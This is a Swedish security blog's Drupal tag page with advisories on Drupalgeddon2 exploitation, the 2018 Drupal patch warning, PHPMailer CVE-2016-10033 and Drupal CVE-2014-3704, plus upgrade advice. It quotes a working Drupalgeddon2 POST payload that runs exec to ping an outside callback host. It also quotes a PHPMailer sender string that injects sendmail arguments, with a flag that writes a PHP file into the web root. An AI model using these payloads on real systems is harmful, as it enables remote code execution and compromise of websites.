Taggat med: Drupal

Drupal RCE nu ute

Den mycket kritiska sårbarhet som jag bloggade tidigare om som åtgärdats i Drupal har nu börjat att utnyttjas på Internet. ISC som först rapporterade om detta såg scanningar där följande mönster dök upp:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: <hostname>
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ping <hostname>.mu6fea.ceye.io -c 1

Just denna payload försöker enbart att identifiera sårbara Drupal-installationer genom att köra en enkel ping med argumentet -c 1, dvs count 1. Även om många blockerar utgående trafik så kan DNS släppas ut genom brandväggar. Den subdomän under mu6fea.ceye.io har en wildcard-pekning och kan således unikt identifiera varje DNS-läckage och sårbar installation.

Ser man på whois-data för ceye.io så pekar namnservrarna till:

Name Server: NS1.HACKERNEWS.CC
Name Server: NS2.HACKERNEWS.CC

Vilket är en kinesisk nyhetssajt.

Rekommenderad åtgärd är att uppgradera Drupal till version 7.58 eller 8.5.1

Uppdatering: Denna one-liner kan också användas:

Allvarlig sårbarhet i Drupal 7 och 8

Drupals säkerhetsteam har gått ut med en förhandsvarning om en allvarlig sårbarhet i Drupal version 7 samt 8.  Drupal är ett blogg- och innehållshanteringssystem skrivet i PHP under licensen GNU General Public License.

Den 28:de Mars så släpps en säkerhetsuppdatering till Drupal. Stor risk finns att någon analyserar patchen och detta kan i sin tur leda till fjärrexekvering av kod (RCE) inom några timmar eller dygn efter att säkerhetsuppdateringen släpps.

Säkerhetsuppdateringen kommer att släppas 18:00 – 19:30 UTC den 28:de Mars 2018. Se då till att uppdatera omgående om du använder Drupal.

Även om Drupal inte längre stödjer  8.3.x samt 8.4.x-versioner så kommer just denna säkerhetspatch att stödja dessa versioner. Drupals säkerhetsteam meddelar även att ingen databasuppdatering är nödvändig.

Mer information finnes här: https://www.drupal.org/psa-2018-001

Allvarlig säkerhetsbrist i PHPMailer

Dawid Golunski från Legal Hackers har upptäckt en ny allvarlig säkerhetsbrist i det populära biblioteket PHPMailer som används av miljontals mjukvaror såsom WordPress, Drupal, 1CRM, SugarCRM, Yii och Joomla.

Samtliga versioner innan 5.2.18 är sårbara för denna RCE (remote code execution). I dagsläget har Dawid ej släppt några detaljer om denna brist men troligtvis så rör det sig bara om timmar innan sårbarheten börjar att utnyttjas på internet.

En förmildrande faktor är att du måste ha ett kontaktformulär som använder sig av biblioteket. Samt så får angriparen samma behörigheter som användaren som webbservern körs som.

Denna sårbarhet har fått CVE-2016-10033, läs mer här.

Uppdatering: Tittar jag närmare på den commit som åtgärdar säkerhetsproblemet så ser den ut så här:

if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
    $params = sprintf('-f%s', escapeshellarg($this->Sender));
}

Dvs escapeshellarg()-funktionen läggs till. Troligtvis för att avsändaremail -f skickas med  ut till sendmail i commandline och gör det då möjligt att köra kommandon.

Uppdatering 2: Nu har Legal Hackers släppt en proof-of-concept exploit samt förklaring till sårbarheten. Och det är precis som vi anade ovan att extra data kan skickas vidare, dock inte helt enkelt som förklarat ovan:

Genom att skicka följande som avsändarepost:

”Attacker \” -Param2 -Param3″@test.com

Och detta skickas vidare till  PHPMailer (och även mail()) så exekveras sendmail lokalt med följande argument:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Exempelvis kan följande argument skickas med ovan för att skriva ut bodyn i ett meddelande till en fil som ligger i webbrooten:

-X/var/www/phpcode.php

Allvarlig säkerhetsbugg i Drupal

Företaget SektionEins har identifierat en säkerhetsbrist i den mycket populära webbplattformen Drupal. Denna säkerhetsbrist möjliggör att en antagonist kan injicera SQL-kommandon direkt mot Drupals databas. Såsom att lägga till information, ta bort eller radera vilket i slutändan kan leda till att antagonisten får full kontroll över delar av eller hela servern där Drupal är installerat.

En uppgradering till Drupal version 7.32 löser detta problem.

Proof-of-concept exploitkod som visar på hur sårbarheten kan utnyttjas:
https://gist.github.com/milankragujevic/61eb72df71b69df80e86
Sårbarheten har fått  följande CVE: CVE-2014-3704 och mer information finnes här.